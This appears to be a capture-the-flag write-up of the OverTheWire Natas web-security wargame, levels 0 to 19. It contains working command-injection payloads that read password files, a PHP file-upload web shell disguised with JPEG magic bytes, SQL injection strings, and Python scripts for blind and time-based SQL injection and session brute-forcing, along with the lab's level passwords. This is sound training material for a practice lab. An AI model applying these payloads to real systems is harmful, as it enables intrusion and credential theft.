My writeups for levels 0 to 28 of the Natas Labs from overthewire.
- The introductory page for
Level0
gives us the url format:natasX.natas.labs.overthewire.org
, whereX
is the level number - It also states that all passwords are stored in
/etc/natas_webpass/
under a file named after the corresponding level. - The
username
andpassword
are also provided for this level. - We can visit the url: natas0.natas.labs.overthewire.org, enter the mentioned credentials and reach the next stage.
-
The
natas0
page states the following:You can find the password for the next level on this page.
-
Obviously, the password is not present on the page itself. On viewing the page source, we see that the password for
Level 1
is present as a comment on the webpage, inside thediv
element with idcontent
. -
Password
gtVrDuiDfck831PqWsLEZy5gyDz1clto
-
The
natas1
landing page says the following:You can find the password for the next level on this page, but right-clicking has been blocked!
-
However, the webpage isn't well-written as the right-clicking is only blocked within the
div
that shows the above message. We can still right-click outside this block. Nevertheless, to abide by the specification, we shall refrain from right-clicking. -
First, we open the
Source Page
fornatas0
and then, edit the address on theURL pane
fromview-source:http://natas0.natas.labs.overthewire.org/
toview-source:http://natas1.natas.labs.overthewire.org/
. This should retrieve the source ofnatas1
's page. A comment on the source reveals the password for the next level. -
Password
ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
-
The
natas2
landing page states the following:There is nothing on this page
-
Of course, we don't believe the above message and so, we view the source for this page.
-
The only thing interesting on the source page is a link to the image at
files/pixel.png
. Let's see if we have access to any other files on thenatas2
server. -
When we visit:
natas2.natas.labs.overthewire.org/files
, we see that there is a file calledusers.txt
. This file contains the password fornatas3
. -
Password
sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
-
The
natas3
landing page says the following:There is nothing on this page
-
Again, we shall view the page source, just to confirm.
-
The page source doesn't add much information, except to include a comment the following:
No more information leaks!! Not even Google will find it this time...
-
The only way the password wouldn't be leaked even from Google is if the file has not permitted to be indexed by search engines. This is specified in a file called robots.txt on any server. Let's have a look at this file if we indeed have access to this file.
-
On accessing the file, we see a directory called
/s3cr3t/
listed on theDisallow
list. On visiting this directory on the server, shows us anotherusers.txt
file that contains the password fornatas4
. -
Password
Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
-
The
natas4
landing page states the following:Access disallowed. You are visiting from "" while authorized users should come only from "http://natasnatas.labs.overthewire.org/"
-
The above message has something to do with the
Referer
header common to most webpages. This header contains information as to what previous page led us to the current page. Apparently, we need this header to contain thenatas5
url. As we cannot edit this header through the browser, we need to use an application calledBurp Suite
that ships with Kali Linux. A tutorial on using this application can be found here. -
After following all the basic setup instructions for allowing
Burp Suite
to proxy all the network connections, we try to open thenatas4
landing page again. This time, the page does not load, butBurp Suite
shows the request headers in itsProxy
tab. -
We then select the
Action
button on theProxy
tab and then selectSend to Repeater
.Setting up a proxy and analyzing the headers with Burp Suite
-
We can now edit the request headers, by navigating through
Repeater
>Request
>Headers
>Add
and then, adding in the header namedReferer
with the url fornatas5
as the value.Adding the
Referer
Header to theRequest
. Erratum: the value must be http://natasnatas.labs.overthewire.org/ -
Clicking on the
Send
Button will now show us the response HTML with the password for level 5, in theResponse
section. -
Password
iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
-
The
natas5
landing page says the following:Access disallowed. You are not logged in
-
One way websites authorize visitors to certain webpages is by setting up cookies with certain "unique" values so that users can be identified. This is what logging in entails and allows users the convenience of visiting websites without having to provide his/her login credentials every single time.
-
When we analyze the cookies for the
natas5
login page byinspect
-ing the webpage, we can see a new cookie calledloggedin
. The most interesting property for this cookie is thevalue
property, which has been set to 0. When we edit the cookie value to1
, and then reload the page, it reveals the login credentials fornatas6
. -
Password
aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
-
The
natas6
landing page contains a simple form with aSubmit Query
button. -
The page also contains a link to view the source code. The source code reveals the
PHP
code running at the server that verifies the input query and then sends us the password forlevel7
.<? include "includes/secret.inc"; if(array_key_exists("submit", $_POST)) { if($secret == $_POST['secret']) { print "Access granted. The password for natas7 is <censored>"; } else { print "Wrong secret"; } } ?>
-
Injecting queries into the form element named
secret
does not work and it showsWrong Secret
each time one tries to inject. -
However, the source also reveals an interesting file
includes/secret.inc
. When we visit this file on the server, it reveals a blank webpage, but on inspecting this blank webpage, we see that the password fornatas7
is mentioned as a comment on the source. -
Password
7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
-
The
natas7
landing page shows two links:Home
andAbout
that do pretty much nothing. -
However, when we do click on them, the url changes and the following gets appended to the existing url:
index.php?page=home
-
This represents a
GET
query that effectively gets thehome
page from the server. -
On viewing the page source, we see the following hint written as a comment:
hint: password for webuser natas8 is in /etc/natas_webpass/natas8
-
So, we try to
GET
the contents of this file by editing the url as follows:natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8
-
Visiting the above URL gives us the password for
natas8
. -
Password
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
-
Much like in the
natas6
landing page, the landing page fornatas8
also shows a simple form wherein we are required to submit some query, and a link to view the source code. -
The source code shows the following
php
code running at the server side:<? $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function encodeSecret($secret) { return bin2hex(strrev(base64_encode($secret))); } if(array_key_exists("submit", $_POST)) { if(encodeSecret($_POST['secret']) == $encodedSecret) { print "Access granted. The password for natas9 is <censored>"; } else { print "Wrong secret"; } } ?>
-
The above code simply checks whether the encoded version of the query we submit matches the value held by
$encodedSecret
and if it does, it returns the password fornatas9
. -
The encoding of the query takes place in three steps, in order:
-
base64_encode
: applies base64 encoding on the query -
strrev
: reverses the string generated from the encoding -
bin2hex
: converts the binary result to hex
-
-
Our task is to find the value of the
query
which when passed through the above encoding steps results in the value stored in$encodedSecret
. -
This can be achieved by reversing the order of the above functions and using the inverse of each function, as follows:
$$$encodedSecret=bin2hex(strrev(base64_encode($query)))\newline \implies$query = base64_decode(strrev(hex2bin(
$encodedSecret)))$ $ -
The above process can be carried out in
php
as follows:<?php $encodedSecret = "3d3d516343746d4d6d6c315669563362"; function decodeSecret($encodedSecret) { // original: bin2hex(strrev(base64_encode($secret))); return base64_decode(strrev(hex2bin($encodedSecret))); } echo decodeSecret($encodedSecret); echo "\n"; ?>
Or, in
python
as follows:import base64 encodedSecret = "3d3d516343746d4d6d6c315669563362" print(f"Encoded Secret: { encodedSecret }") bytesSecret = bytes.fromhex(encodedSecret) print(f"In Bytes: { bytesSecret }") reverseSecret = bytesSecret[::-1] print(f"Reversed: { reverseSecret }") decodedSecret = base64.b64decode(reverseSecret) print(f"Decoded: { decodedSecret }")
Output of the python code to find the right query string
-
Entering the final output to the
input
section of the form reveals the password to the next level. -
Password
W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
-
The
natas9
landing page shows yet another form, and a link to view the source code. -
On viewing the source code, we come across the following
php
code:<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { passthru("grep -i $key dictionary.txt"); } ?>
-
This code checks if the posted
request
contains theneedle
parameter, searches for the non-empty value of this parameter in a file calleddictionary.txt
, and then displays the results of the search. This can be easily tested by typing in a word in theinput
field. -
We can also have a look at the
dictionary.txt
file on the server. However, this file does not contain the password tonatas10
. In any case, searching for a potential password in this file would be like searching for a needle in a haystack (pun intended). -
We, however, see that the value of
$key
that holds our input query gets passed on to a Linux Shell with the commandgrep -i $key dictionary.txt
. -
We can exploit this by using
command injection
. We can inject linux commands into the query that will then be executed on the server with the privileges of the host. -
We need the password to
natas10
and we know that this password is located in the file:/etc/natas_webpass/natas10
. -
Hence, we inject the following command in the
input
field:; cat /etc/natas_webpass/natas10;
-
This reveals the password.
-
Password
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
-
natas10
is similar tonatas11
with one major difference between them. Innatas10
, some characters cannot be used in theinput
field as they are deemed illegal. This can be seen from the source code:<? $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key = $_REQUEST["needle"]; } if($key != "") { if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); } }
-
As we can see from the above code, specifically the line:
preg_match('/[;|&]/',$key)
, that the code checks for the presence of;
,|
and/or&
characters in theinput
query, and if present, displays the messageInput contains an illegal character!
instead of relaying our query into the Linux Shell. -
This means that we are not allowed to execute multiple commands simultaneously using
;
, pipe the output of one command to another using|
, and chain multiple commands using&
. -
However, the
grep
command supports finding patterns on multiple files. We can leverage this feature by searching for characters in the file/etc/natas_webpass/natas11
, that is known to contain the required password. However, we have to employ hit-and-trial until we hit a character that is contained in the password fornatas11
. Once injected, thegrep
command will search for a text in both thenatas11
and thedictionary.txt
files. -
Hence, the
input query
will be as follows:f /etc/natas_webpass/natas11
The letter
f
was arrived at by first testing for each of the letters froma
throughe
. Alternatively, we could check for numbers. The command is case insensitive so we don't have to check for uppercase and lowercase letters separately. -
Password
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
-
The
natas11
landing page tells us the following:Cookies are protected with XOR encryption
It also provides a form and a link that allows us to view the source code.
-
The
php
source code is as follows:// this portion sets the cookies $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"##ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function loadData($def) { global $_COOKIE; $mydata = $def; if(array_key_exists("data", $_COOKIE)) { $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { if (preg_match('/^##(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } } return $mydata; } function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); } $data = loadData($defaultdata); if(array_key_exists("bgcolor",$_REQUEST)) { if (preg_match('/^##(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) { $data['bgcolor'] = $_REQUEST['bgcolor']; } } saveData($data); // this portion checks the cookies if($data["showpassword"] == "yes") { print "The password for natas12 is <censored><br>"; }
-
There are, thus, two distinct portions in the code. A portion that sets and saves the cookies and a portion that checks the cookies.
-
The portion that sets the cookies, takes the
$defaultdata
,XOR
s it with a key and then,base64
-encodes it. -
The part that checks the cookies checks if the
showpassword
field in the decoded cookie contains the stringyes
. If it does, the password for the next level is displayed. -
Thus, we must encode our own
$data
where theshowpassword
field is set toyes
. But for this we need to first find the key with which the original data wasXOR
-ed, In the code shown above, the key is hidden(<censored>
). -
The only way to find the key is to brute force it since we have the
encoded cookie
value from our browser and the plaintextdata
from the source code. The code to achieve this is as follows:from base64 import b64decode from string import ascii_uppercase, ascii_lowercase ## the cookie value in the browser ends with %3D, this is browser-speak for '=' encoded_data = b"ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=" decoded = b64decode(encoded_data) plain_data = b'{"showpassword":"no","bgcolor":"##ffffff"}' print(f"Given Array: { plain_data }") print(f"Size: { len(plain_data) }") print(f"Given Cookie Data: { encoded_data }") print(f"Size: { len(encoded_data) }") print(f"Decoded Cookie Data: { decoded }") print(f"Size: { len(decoded) }") options = bytes(ascii_uppercase + ascii_lowercase + '0123456789', 'ascii') print(f"Options: { options }") plain_data_size = len(plain_data) options_size = len(options) key = "" for i in range(plain_data_size): for j in range(options_size): if plain_data[i] ^ options[j] == decoded[i]: character = chr(options[j]) key += character break print(f"Key used: { key }")
The output of the above python code. Notice that the decoded cookie and the given array have the same length, in bytes
-
Having found the key to be
qw8J
, we can now edit the original source code and use it to find the new cookie value, as follows:$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"##ffffff"); $data = $defaultdata; $data["showpassword"] = "yes"; function xor_encrypt($in) { $key = "qw8J"; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } function saveData($d) { return base64_encode(xor_encrypt(json_encode($d))); } echo saveData($data); echo "\n";
-
After replacing the value of
data
cookie in the browser with the value generated by the above code, we can refresh the page and get the password tonatas12
. -
Password
EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
-
The
natas12
landing page asks us to upload ajpg
file whose size is below 1KB. It also provides us the option to view the source code. -
The source code for this level is not directly helpful. The gist of the code is that, it takes whatever jpeg file we upload, generates a random name for it and stores it inside the
upload
directory on the server. -
On inspecting the source for the HTML of the page, we can see that there is a hidden input form, with the following specs:
<form enctype="multipart/form-data" action="index.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="1000" /> <input type="hidden" name="filename" value="zc8rossbdl.jpg" /> Choose a JPEG to upload (max 1KB):<br/> <input name="uploadedfile" type="file" /><br /> <input type="submit" value="Upload File" /> </form>
-
We can see that the default
filename
for any file that we upload would bezc8rossbdl.jpg
under these specifications. The serverphp
uses the extension for this filename to set the extension for the random filename it generates. -
When we upload a random image of size < 1KB to the server, it shows the filename generated and allows us to view the image. One can surmise that the image being opened(executed?) by the server.
-
Now, as the server operates with
php
code, it may be possible to edit the default extension of the filename tophp
and then, sending our ownphp
code that may then be executed when we open it. -
One possible code is as follows:
<?php $password = file_get_contents('/etc/natas_webpass/natas13'); echo $password; ?>
-
Once we edit the extension in the
value
attribute of the hiddeninput
field, and then upload the abovephp
file, it will be successfully uploaded, and when we open up the file, we should see the password being displayed. -
Password
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
-
This level is quite similar to Level 12 -> Level 13 in that we are required to upload a
jpeg
image. However, the landing page fornatas13
also states the following:For security reasons, we now only accept image files!
-
So, we cannot just upload a
php
file by editing the HTML source for the page. A closer look at the source code, however, reveals the following piece of code (the part that is different from the code for the previous level has been highlighted and underlined):... else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } ...
-
As we can see the source code uses
exif_imagetype
to verify that the uploaded file is indeed an image file. This does not, however, check for the actual image headers and instead checks for somemagic number
at the beginning of the file. -
For
jpeg
file, the function checks for the presence of the following byte sequence:FF D8 FF E0
-
All we have to do now is to put these bytes at the top of our
php
code, edit the HTML source to edit the filename to have an extension of.php
as before, and then, upload the code. The file will, thus, have bypassed theexif_imagetype
check. -
The code to create the
php
file is as follows:## write the magic bytes, open file in binary mode f = open('level13.php', 'wb') f.write(b'\xFF\xD8\xFF\xE0') f.close() ## append the php code f = open('level13.php', 'a') f.write('<?php $pass = file_get_contents("/etc/natas_webpass/natas14"); echo "password= ".$pass; ?>') f.close()
-
After uploading and opening the
level13.php
file created from the above code, we should be able to see the password fornatas14
. -
The output, however, will also display the four bytes of the
magic number
. This is because anything outside thephp
tags are echoed as is by the server to the browser. These bytes may not be rendered and question marks(?) may be displayed instead. -
Password
-
The landing page for
natas14
shows us apost
form with the fieldsusername
andpassword
. -
We also have access to the
php
source code:<? if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas14', '<censored>'); mysql_select_db('natas14', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { echo "Successful login! The password for natas15 is <censored><br>"; } else { echo "Access denied!<br>"; } mysql_close($link); } else { ?>
-
As we can see there are no checks for the input query, and whatever we input in the
username
andpassword
are directly integrated as part of the$query
and executed on theMySQL
server. -
Thus, we can perform a simple SQL injection to bypass the
username
andpassword
checks, with the following entries:username: " OR 1=1 ## password:
-
This should reveal the password for
natas15
. -
Password
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
-
The landing page for
natas15
shows a form with the fieldusername
. -
By looking at the
php
source code, we can see that the code is written so that the server echoesuser exists
if our query is correct and returns some number of rows anduser does not exist
when our query does not return any rows. -
Hence, we can perform
Blind Injection
on theusername
field. -
From the source code, we know that the table contains two fields:
username
andpassword
. -
Let's check if there is a user named
natas16
, since we need its password. When we enternatas16
in theusername
field, it says that the user exists. -
Now, we must determine the length of the password by using the
LENGTH()
function and then, using hit and trial, by injecting the following:natas16" AND LENGTH(password) > 10 ## ⇒ user exists natas16" AND LENGTH(password) > 20 ## ⇒ user exists ... natas16" AND LENGTH(password) > 33 ## ⇒ user does not exist natas16" AND LENGTH(password) = 32 ## ⇒ user exists*
-
Now, we must brute force the 32-character password by using
SUBSTR()
function and binary search. By default, as the password column is of typeVARCHAR
, any comparison operations performed on it are case-insensitive. Hence, we must perform comparisons using theBINARY
keyword. This does, however, incur a performance hit. -
From the password pattern of the previous levels, we can guess that the password may contain uppercase and lowercase letters, and numbers. The code to automate this process is as follows:
from bs4 import BeautifulSoup as soup import re import requests from string import ascii_lowercase, ascii_uppercase url = 'http://natas1natas.labs.overthewire.org' auth = ('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J') alphabet = '0123456789' + ascii_uppercase + ascii_lowercase def check(inject, verbose=False): data = {'username': inject} response = requests.post(url, data=data, auth=auth) clean = soup(response.content, "lxml") text = clean.body.get_text("\n") if verbose: print(inject) ## print(text) if re.search("exists", text): returned = 1 else: returned = 0 return returned def search(alphabet, lo, hi, position, verbose=False): if hi < lo: return "Not found" index = (hi + lo) // 2 inject_greater = 'natas16" AND BINARY substr(password, ' + str(position) + ', 1) > "' + alphabet[index] + '" ##' inject_equal = 'natas16" AND BINARY substr(password, ' + str(position) + ', 1) = "' + alphabet[index] + '" ##' inject_less = 'natas16" AND BINARY substr(password, ' + str(position) + ', 1) < "' + alphabet[index] + '" ##' if check(inject_equal, verbose): return alphabet[index] elif check(inject_greater, verbose): return search(alphabet, index + 1, hi, position, verbose) elif check(inject_less, verbose): return search(alphabet, lo, index - 1, position, verbose) else: return "Something went wrong" position = 1 password = "" verbose = False while True: result = search(alphabet, 0, len(alphabet)-1, position, verbose) print(f"RESULT: { result } ") if len(result) > 1: break password += str(result) position += 1 print(f"The password for natas16 is { password }")
-
The output for the above code is as follows:
The result of brute-forcing the password. You can see that there are exactly 32 characters!
-
Alternatively, one can use
sqlmap
to perform the above operation. A detailed walk-through for this is available here. -
Password
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
-
The landing page for
natas16
says the following:For security reasons, we now filter even more on certain characters
-
Sure enough, when we check the source code for this level, we can see that
preg_match
has been used to filter out;
,'
,"
,&
, and|
. Furthermore, whatever we supply as an input query on the form gets enclosed within double quotes ("
). This severely limits our options.if($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } }
-
Fortunately, we can still inject Linux commands within the quotes that do not consist of the blacklisted characters, by enclosing the command within
$()
. The output of the command we enclose within these parentheses becomes enclosed within double quotes which the outergrep
command searches for indictionary.txt
. For example:$ grep -i "$(echo hacking)" dictionary.txt ## the above can be broken down as follows: $ echo hacking hacking ## the command `echo hacking` outputs hacking ## this output gets inserted into the original `grep` command *within* double quotes $ grep -i "hacking" dictionary.txt ## this outputs all dictionary entries with the substring 'hacking'
-
Now, all we have to do is find the right command to inject, one that does not involve the usage of any of the blacklisted characters.
-
A possible candidate is the
grep
command itself. We shall use this command to check for letters present in/etc/natas_webpass/natas17
. Consider the following toy example:$ touch dictionary.txt $ echo "hello" >> dictionary.txt ## dictionary.txt now contains the word 'hello' $ echo "hi" >> dictionary.txt ## dictionary.txt now contains 'hello' and 'hi' $ touch example.txt $ echo 'e' >> example.txt ## example.txt now contains the letter 'e' $ grep a example.txt ## returns nothing as the text file does not contain 'a' $ grep e example.txt ## returns 'e' as 'e' matches with the 'e' in example.txt e $ grep -i "$(grep a example.txt)" dictionary.txt hello hi ## returns hello because the `grep a example.txt` returns `nothing` ## `nothing` is contained within every string in the file, so the contents are displayed $ grep -i "$(grep e example.txt)" dictionary.txt hello ## returns hello because the inner `grep` returns 'e' and 'e' is present in 'hello' $ grep -i "$(grep e example.txt)ll" dictionary.txt hello ## inner grep returns 'e' which gets concatenated with 'll' to form 'ell' ## 'ell' is present in hello $ grep -i "$(grep a example.txt)i" dictionary.txt hi ## the inner `grep` returns nothing, which gets concantenated with `i` ## `i` is contained in the word `hi` and is returned ## Note: the underlining is only shown here for clarity, they're not shown in the actual terminal
-
For our purposes, however, it is not enough that we know what letters are present in the
/etc/natas_webpass/natas17
file. We must also know in what order they are present. Hence, we must use the^
character. It marks the beginning of the matching text in regex. For example,abc
matches withzabc
but^abc
does not match withzabc
asa
is not the first character inzabc
. -
All of the above observations are incorporated in the following program
import re import requests from string import ascii_uppercase, ascii_lowercase ## by looking at the passwords so far, ## it is likely that the password contains more lowercase characters ## followed by uppercase, and then numbers alphabet = ascii_lowercase + ascii_uppercase + '0123456789' auth = ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh') url = 'http://natas16.natas.labs.overthewire.org' password = '' pattern = '^' directory = ' /etc/natas_webpass/natas17' ## the string to search for if there is no match in the password file constant = 'haystacks' ## check only for 32 characters because all the passwords so far have only 32 characters for i in range(32): for character in alphabet: full_pattern = pattern + password + character payload = "$(grep " + full_pattern + directory + ")" + constant data = {"needle":payload} response = requests.post(url, data=data, auth=auth) ## because "haystacks" is appended to the end ## if there is no match, haystacks will be present in the result if re.search("haystacks", response.text): continue password += character print(f"Character { i } = { character }") break print(f"The password for natas17 is { password }")
-
With a total possibility space in the order
$10^{57}$ , this brute force approach can be computationally expensive, so the characters are checked in order of their frequencies, the most likely characters checked first. Of course, we have no definite way of knowing this but looking at the passwords so far, one can guess that there are more lowercase characters than uppercase characters which are then more than the numbers. This turned out to be a successful approach and resulted in significant improvements in speed. -
Furthermore, the word
haystacks
is appended at the end so that when the innergrep
returns nothing (due to no match), the outergrep
searches forhaystacks
. When the innergrep
does return a result (the password),haystacks
gets appended to it and does not return any result as no such entry would exist in the dictionary. Furthermore, the wordhaystacks
has only one entry in the dictionary. And even this speeds up the search by narrowing the search space. -
The output of the above program is as follows:
-
Password
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
-
The landing page for
natas17
is similar to that for natas15 but with one major difference: the server does not tell us whether the query we entered into theusername
field returned any rows. Moreover, thephp
code on the server is written so that the query we enter into the field is inserted within double quotes("
). -
As we have no way of telling whether the query was correct, we have to find a workaround. One way to check if the query we entered was correct is to use the
SLEEP()
function and the end of theWHERE
clause joined using anAND
. What this does is that if the preceding conditions are matched, it tells the server to wait for a certain amount of time before sending the response. If the preceding conditions are not met, there is an immediate response as theSLEEP()
function is not executed. The timing of the response can thus be used as the parameter to check whether our query was correct. -
The query format we will be using is:
natas18" AND BINARY SUBSTR(password, 1, 1) = 'a' AND SLEEP(5) ##
-
The code to automate this process is as follows:
import requests from string import ascii_lowercase, ascii_uppercase url = 'http://natas17.natas.labs.overthewire.org' auth = ('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw') alphabet = '0123456789' + ascii_uppercase + ascii_lowercase threshold = 3 def check(inject, verbose=False): data = {'username': inject} response = requests.post(url, data=data, auth=auth) if verbose: print(inject) if response.elapsed.total_seconds() > threshold: returned = 1 else: returned = 0 return returned def search(alphabet, lo, hi, position, verbose=False): if hi < lo: return "Not found" index = (hi + lo) // 2 inject_greater = 'natas18" AND BINARY substr(password, ' + str(position) + \ ", 1) > '" + alphabet[index] + "' AND SLEEP(5) ##" inject_equal = 'natas18" AND BINARY substr(password, ' + str(position) + \ ", 1) = '" + alphabet[index] + "'AND SLEEP(5) ##" inject_less = 'natas18" AND BINARY substr(password, ' + str(position) + \ ", 1) < '" + alphabet[index] + "'AND SLEEP(5) ##" if check(inject_equal, verbose): return alphabet[index] elif check(inject_greater, verbose): return search(alphabet, index + 1, hi, position, verbose) elif check(inject_less, verbose): return search(alphabet, lo, index - 1, position, verbose) else: return "Something went wrong" position = 1 password = "" verbose = False while True: result = search(alphabet, 0, len(alphabet)-1, position, verbose) print(f"RESULT: { result } ") if len(result) > 1: break password += str(result) position += 1 print(f"The password for natas18 is { password }")
-
It is to be noted that while checking for the delay, if the
threshold
is set to a low value (say, 1), then, there will be an error simply because of random delays in the server response, unrelated to the delay set by theSLEEP()
function. -
The output of the above code, obtained after a little more than an eternity, is as follows:
-
Password
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
-
The landing page for
natas18
tells us to login as theadmin
to retrieve the password for the next level. Obviously, we do not have the required credentials. Thephp
back-end reveals a rather complex code. Let's break it down. -
At the very top of the
php
code, the variable$maxid
is set to 640. -
isValidAdminLogin()
:function isValidAdminLogin() if($_REQUEST["username"] == "admin") { /* This method of authentication appears to be unsafe and has been disabled for now. */ //return 1; } return 0; }
This function always returns
0
as the portion that returns1
has been commented out. -
isValidID($id)
:function isValidID($id) return is_numeric($id); }
This function checks if the
$id
variable has a numeric value, and returntrue
if it does, andfalse
otherwise. -
createID($user)
:function createID($user) global $maxid; return rand(1, $maxid); }
This function returns a random number between
1
and$maxid
i.e.,640
. -
debug($msg)
:function debug($msg) if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; } }
This function checks if there has been a
GET
request with the parameterdebug
and then, prints the debug message passed into this function. -
my_session_start()
:function my_session_start() { /* {{{ */ if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { if(!session_start()) { debug("Session start failed"); return false; } else { debug("Session start ok"); if(!array_key_exists("admin", $_SESSION)) { debug("Session was old: admin flag set"); $_SESSION["admin"] = 0; // backwards compatible, secure } return true; } } return false; }
This function does the following:
- Checks if the
PHPSESSID
cookie exists and has a numeric value. If not, it returns false. Otherwise it performs further checks: - If
session_start()
returns false i.e., if new session has not started, prints a message to that effect, and returns false. - If the session has started, it calls on
debug()
to print the okay-message. Then, it checks ifadmin
is a key in$_SESSION
and if so, it sets it to 0, and finally returnstrue
.
- Checks if the
-
print_credentials()
:function print_credentials() if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas19\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19."; } }
This function checks if the key
admin
exists in$_SESSION
and that its value is set to1
. If this is the case, it returns the credentials for the next level. Otherwise, it prints that the user has logged in as a regular user. -
The "main" function:
$showform = true; if(my_session_start()) { print_credentials(); $showform = false; } else { if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) { session_id(createID($_REQUEST["username"])); session_start(); $_SESSION["admin"] = isValidAdminLogin(); debug("New session started"); $showform = false; print_credentials(); } }
If the session has started, it calls the
print_credentials()
function.If not, it checks whether
username
andpassword
keys exist in the$_REQUEST
, and if it does, it callssession_id()
with theID
created bycreateID()
as the parameter. It then, starts the session and sets$_SESSION["admin"]
to the value returned byisValidAdminLogin()
, and then callsprint_credentials()
function. -
Putting it all together:
- When we try to login
my_session_start()
is called first, that checks if thePHPSESSID
cookie is present and its value is numeric. This evaluates tofalse
. - It then creates a new session if
username
andpassword
fields are present in ourPOST
request and assigns it a newsession_id
— a value between1
and640
. - It also sets
$_SESSION["admin"]
to the value returned byisValidAdminLogin()
. Since this function always returns 0,$_SESSION["admin"]
is set to 0. - Now, the
print_credentials()
function is called. As the$_SESSION["admin"]
is set to0
, this function does not return theadmin
credentials. - In short, we cannot login as the
admin
directly unless we have the password. So, the only way to retrieve the password is to fake theadmin
login by finding the value ofPHPSESSID
cookie that corresponds to theadmin
. - When we login with the right value of this cookie,
my_session_start()
returns true and since, we are theadmin
, it does not reset$_SESSION["admin"]
and its value remains1
. This then permitsprint_credentials()
function to provide us the credentials for the next level.
- When we try to login
-
We can brute force the
admin
value of thePHPSESSID
cookie with the following code:import re import requests auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') cookies = { "PHPSESSID" : '0' } ## `data` isn't really necessary data = { "username" : "admin", "password": "pass" } url = "http://natas18.natas.labs.overthewire.org/" for i in range(641): cookies["PHPSESSID"] = str(i) response = requests.post(url, data=data, cookies=cookies, auth=auth) if not re.search("logged in as a regular user", response.text): print(f"PHPSESSID: { i }") print(response.text) break print(f"Checked PHPSESSID: { i }")
-
The output of the above code is as follows:
-
Password
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
-
The landing page for
natas19
says the following:This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
We can no longer view the server-side
php
code, so we have to trust this message. -
We now login using some random value for
username
andpassword
and inspect the cookies it creates. Each time a cookie is created, we note it down, then delete it and log in again. Here is a sample of the various cookies that were created:PHPSESSID: "34 35 2d61646d696e" PHPSESSID: "31 30 37 2d61646d696e" PHPSESSID: "39 36 2d61646d696e" PHPSESSID: "34 33 31 2d61646d696e" PHPSESSID: "33 35 34 2d61646d696e" PHPSESSID: "34 36 36 2d61646d696e" PHPSESSID: "35 37 35 2d61646d696e" PHPSESSID: "35 30 36 2d61646d696e" PHPSESSID: "33 36 2d61646d696e" PHPSESSID: "33 30 34 2d61646d696e"
There is clearly a pattern to how these cookies are being set by the server. There is always an even number of characters, the first few pairs always begin with
3
and the characters used are all symbols used in hexadecimal number system. When we convert these hexadecimal values toascii
, we get a result similar to the following:Conversion of cookies (in hex) to ascii. Indeed, 31 is 1 in ascii, 30 is 0 and 37 is 7.
Clearly the pattern is
<range(1, $max_id)>-admin
, assuming that the value of$max_id
is still 640. -
Now, all we need to do is brute force the cookie value just like in the previous level. The code for this is as follows:
